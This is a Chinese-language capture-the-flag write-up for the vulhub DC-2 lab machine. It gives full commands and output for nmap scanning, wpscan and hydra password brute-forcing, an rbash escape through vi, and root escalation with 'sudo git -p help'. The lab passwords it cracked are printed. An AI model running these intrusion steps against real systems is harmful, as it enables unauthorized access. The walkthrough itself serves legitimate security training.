vulhub: DC 2
Posted yurang
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首先地址探测找到主机IP：
root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 09:47 CST Nmap scan report for 192.168.74.1 Host is up (0.00051s latency). MAC Address: 00:50:56:C0:00:01 (VMware) Nmap scan report for 192.168.74.139 Host is up (0.00018s latency). MAC Address: 00:0C:29:79:95:8B (VMware) Nmap scan report for 192.168.74.254 Host is up (0.00012s latency). MAC Address: 00:50:56:E0:A5:71 (VMware) Nmap scan report for 192.168.74.137 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds
找到192.168.74.139，探测开放的服务：
root@kali:~# nmap -A -p1-65535 192.168.74.139 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 09:54 CST Nmap scan report for 192.168.74.139 Host is up (0.00045s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Did not follow redirect to http://dc-2/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) | ssh-hostkey: | 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA) | 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA) | 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA) |_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519) MAC Address: 00:0C:29:79:95:8B (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.45 ms 192.168.74.139 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.02 seconds
开放了80端口的http服务和7744端口的SSH服务。
直接访问http://192.168.74.139,发现流量会被重定向到http://dc-2,所以需要修改下本地的hosts文件，增加192.168.74.139和dc-2的映射关系。
windows的在路径：C:WindowsSystem32driversetc 下；Linux的在路径/etc 下：
root@kali:~# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali 192.168.74.139 dc-2 # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
再次访问服务器80端口，拿到第一个flag：
根据提示，使用cewl（https://www.freebuf.com/articles/network/190128.html）将该网页爬取为字典：
root@kali:/# cewl http://dc-2/ -d 10 -w /wordlist.txt CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
然后使用username字典结合该生成的字典对登录界面进行爆破，burpsuit的attack type选择clustom bomb：
使用爆破出来的用户名和密码登录，在page界面得到flag2：
另外一种方法是通过wpscan（https://www.freebuf.com/sectool/174663.html），枚举出当前用户名信息：
root@kali:~# wpscan --url http://dc-2 -e u _______________________________________________________________ __ _______ _____ / / __ / ____| / / /| |__) | (___ ___ __ _ _ __ ® / / / | ___/ \\___ / __|/ _` | ‘_ / / | | ____) | (__| (_| | | | | / / |_| |_____/ \\___|\\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.7.5 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_ _______________________________________________________________ [+] URL: http://dc-2/ [+] Started: Sat Apr 11 15:28:25 2020 Interesting Finding(s): [+] http://dc-2/ | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] http://dc-2/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] http://dc-2/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] http://dc-2/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator> | - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator> [+] WordPress theme in use: twentyseventeen | Location: http://dc-2/wp-content/themes/twentyseventeen/ | Last Updated: 2020-03-31T00:00:00.000Z | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 2.3 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: ‘Version: 1.2‘ [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <=============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up. [+] Finished: Sat Apr 11 15:28:30 2020 [+] Requests Done: 55 [+] Cached Requests: 6 [+] Data Sent: 11.562 KB [+] Data Received: 514.096 KB [+] Memory used: 110.116 MB [+] Elapsed time: 00:00:04
从中可见有三个用户名：admin、jerry、tom
使用wpscan自带的密码破解模块，结合cewl生成的字典文件对密码进行破解，可以得到jerry和tom的密码：
root@kali:~# wpscan --url http://dc-2 -U jerry -P /wordlist.txt …… [+] Performing password attack on Xmlrpc against 1 user/s Trying jerry / adipiscing Time: 00:00:16 <=============================================================================================================================================================> (200 / 200) 100.00% Time: 00:00:16 [SUCCESS] - jerry / adipiscing [i] Valid Combinations Found: | Username: jerry, Password: adipiscing root@kali:~# wpscan --url http://dc-2 -U tom -P /wordlist.txt …… [+] Performing password attack on Xmlrpc against 1 user/s [SUCCESS] - tom / parturient Trying tom / nascetur Time: 00:00:17 <=================================================================================================================================================================> (210 / 210) 100.00% Time: 00:00:17 [i] Valid Combinations Found: | Username: tom, Password: parturient
用hydra基于之前的用户名和密码尝试爆破一下7744：
root@kali:~# hydra -l tom -P /wordlist.txt -t 4 -s 7744 ssh://192.168.74.139 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-11 16:43:49 [DATA] max 4 tasks per 1 server, overall 4 tasks, 238 login tries (l:1/p:238), ~60 tries per task [DATA] attacking ssh://192.168.74.139:7744/ [STATUS] 24.00 tries/min, 24 tries in 00:01h, 214 to do in 00:09h, 4 active [STATUS] 28.00 tries/min, 84 tries in 00:03h, 154 to do in 00:06h, 4 active [STATUS] 23.43 tries/min, 164 tries in 00:07h, 74 to do in 00:04h, 4 active [STATUS] 23.00 tries/min, 184 tries in 00:08h, 54 to do in 00:03h, 4 active [7744][ssh] host: 192.168.74.139 login: tom password: parturient 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-11 16:52:55
登录后得到第三个flag：
tom@DC-2:~$ ls flag3.txt usr tom@DC-2:~$ vi flag3.txt Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
由于shell设置了rbash（https://www.freebuf.com/articles/system/188989.html），导致大部分命令受限执行，测试vi可以使用，通vi一个文件设置shell尝试绕过rbash：
tom@DC-2:~$ vi test 通过：set shell=/bin/sh 然后调用执行：shell $ whoami /bin/sh: 1: whoami: not found $ export -p export HOME=‘/home/tom‘ export LANG=‘en_US.UTF-8‘ export LOGNAME=‘tom‘ export MAIL=‘/var/mail/tom‘ export PATH=‘/home/tom/usr/bin‘ export PWD=‘/home/tom‘ export SHELL=‘/bin/rbash‘ export SHLVL=‘1‘ export SSH_CLIENT=‘192.168.74.137 36850 7744‘ export SSH_CONNECTION=‘192.168.74.137 36850 192.168.74.139 7744‘ export SSH_TTY=‘/dev/pts/0‘ export TERM=‘xterm-256color‘ export USER=‘tom‘ export VIM=‘/usr/share/vim‘ export VIMRUNTIME=‘/usr/share/vim/vim74‘ export _=‘whoami‘
尝试修改PATH，执行：
$ export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
$ export PATH="/usr/sbin:/usr/bin:/rbin:/bin" $ export -p export HOME=‘/home/tom‘ export LANG=‘en_US.UTF-8‘ export LOGNAME=‘tom‘ export MAIL=‘/var/mail/tom‘ export PATH=‘/usr/sbin:/usr/bin:/rbin:/bin‘ export PWD=‘/home/tom‘ export SHELL=‘/bin/rbash‘ export SHLVL=‘1‘ export SSH_CLIENT=‘192.168.74.137 36850 7744‘ export SSH_CONNECTION=‘192.168.74.137 36850 192.168.74.139 7744‘ export SSH_TTY=‘/dev/pts/0‘ export TERM=‘xterm-256color‘ export USER=‘tom‘ export VIM=‘/usr/share/vim‘ export VIMRUNTIME=‘/usr/share/vim/vim74‘ export _=‘PATH=/usr/sbin:/usr/bin:/rbin:/bin‘ $
此时执行各种命令就正常了：
$ whoami tom $ cat flag3.txt Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. $
查看passwd文件，看到jerry用户：
$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash $
尝试使用之前的密码切换到jerry，拿到第四个flag：
$ su jerry Password: jerry@DC-2:/home/tom$ cd /home/jerry jerry@DC-2:~$ ls flag4.txt jerry@DC-2:~$ cat flag4.txt Good to see that you‘ve made it this far - but you‘re not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you‘re on your own now. :-) Go on - git outta here!!!! jerry@DC-2:~$
根据提示使用git提权：
jerry@DC-2:~$ sudo git -p help usage: git [--version] [--help] [-C <path>] [-c name=value] [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path] [-p|--paginate|--no-pager] [--no-replace-objects] [--bare] [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>] <command> [<args>] The most commonly used git commands are: add Add file contents to the index bisect Find by binary search the change that introduced a bug branch List, create, or delete branches checkout Checkout a branch or paths to the working tree clone Clone a repository into a new directory commit Record changes to the repository diff Show changes between commits, commit and working tree, etc fetch Download objects and refs from another repository grep Print lines matching a pattern init Create an empty Git repository or reinitialize an existing one log Show commit logs merge Join two or more development histories together mv Move or rename a file, a directory, or a symlink pull Fetch from and integrate with another repository or a local branch push Update remote refs along with associated objects !/bin/sh # whoami root # # ls /root final-flag.txt #
总结：
1、nmap扫描对应的网段，确定主机IP和开放端口及其服务
2、基于1的结果使用wpscan做进一步探测（https://www.freebuf.com/sectool/174663.html）
3、对rbash进行绕过（https://www.freebuf.com/articles/system/188989.html）
4、使用git进行提权（https://www.cnblogs.com/zaqzzz/p/12075132.html）
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